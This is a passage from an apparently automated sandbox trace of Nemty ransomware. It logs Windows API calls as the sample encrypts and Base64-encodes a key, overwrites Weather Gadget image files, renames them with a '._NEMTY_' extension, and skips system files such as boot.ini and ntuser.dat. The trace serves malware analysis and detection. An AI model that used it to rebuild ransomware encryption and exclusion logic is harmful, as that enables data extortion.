Size=0x20) returned 0x4f9ed08 [0162.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.223] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.223] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402c0 [0162.223] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402c0, pcchString=0x653e91c | out: pszString="x92Z10yoiM72IoL5BpXGfD353tZF+sKUfedT9yEwz7OvaKnF3yvtoGmtfsUFiUs5\r\nEg15fdZ0JDXQFqyg6d6Ji+I3B5WWMlW0QX1QFl6uXbzRvllEdgyDLUMF/welkdaR\r\n4E6+EvryFfqWz4inI2QQf189yiKdJeHvEZvFDtSDkNVdGQalvnV+YxvJ0i3SATCC\r\nxwQO1rXHG6r3p8nH3SUvfvuPTgiHssnmrzVytJtOkXPMYXYFnteec5IjAK3dQeqz\r\nkcr7JyQGgN2ESJmZvzKNzRGIH2f+cYxHoyzqBuWW21AUH+hOaaTqReOqLfEKixcN\r\nkpUAOZkOkgmki2aZrxUvBg==\r\n", pcchString=0x653e91c) returned 1 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0162.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402c0 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.223] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.223] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.334] CloseHandle (hObject=0xffffffff) returned 0 [0162.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340430 [0162.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6343fe8 [0162.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63440e0 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_moon-waxing-crescent_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440e0 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c0 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0162.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.334] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872eb442, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872eb442, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b75c90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2=".") returned 1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="..") returned 1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="...") returned 1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="windows") returned -1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="$RECYCLE.BIN") returned 1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="rsa") returned -1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="NTDETECT.COM") returned -1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="ntldr") returned -1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="MSDOS.SYS") returned -1 [0162.334] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="IO.SYS") returned -1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="boot.ini") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="boot.ini") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="ntuser.dat") returned -1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="desktop.ini") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="CONFIG.SYS") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="RECYCLER") returned -1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="BOOTSECT.BAK") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="bootmgr") returned 1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="programdata") returned -1 [0162.335] lstrcmpiW (lpString1="docked_black_moon-waxing-gibbous.png", lpString2="appdata") returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0162.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_moon-waxing-gibbous.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_moon-waxing-gibbous.png", lpUsedDefaultChar=0x0) returned 36 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0162.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0162.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63400d0 [0162.335] Sleep (dwMilliseconds=0x5) [0162.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1469ca50, dwHighDateTime=0x1d561e8)) [0162.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1469ca50, dwHighDateTime=0x1d561e8)) [0162.347] GetLastError () returned 0x5 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.347] GetLastError () returned 0x5 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.347] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.347] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0162.347] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="xV76LEMLvC7WgM5czaE3DhKWWLIc945jnR/EuFbYjauc7ttvQrp9D96t0EWlDO5e\r\nmZM+PSGovj+npRBePFN7c8ik27PYu8SrCc9rYqQhfN+yRAl4I+rglskDUqFmas3I\r\n8k2Ba+8JgCvnoN1wNniSV02nJqMa78pmxFn15HsiSuPfoAJSiG7UysFosp0mSVw4\r\nBlLj7S7YmBt2uxk6sZyNnAJDb4htH1P2NlHnzERIXm7SqD9ystHA4NChUcQQNrEV\r\nG8D/uwCicNOjUid0xP8yK2lNq0PjKgoNbRuSBxBksVBnpdaSmFXKjtyDKOiJDnDa\r\nDveeIkgquWizRB8uASW7kQ==\r\n", pcchString=0x653e91c) returned 1 [0162.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0162.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.347] RtlAllocateHeap 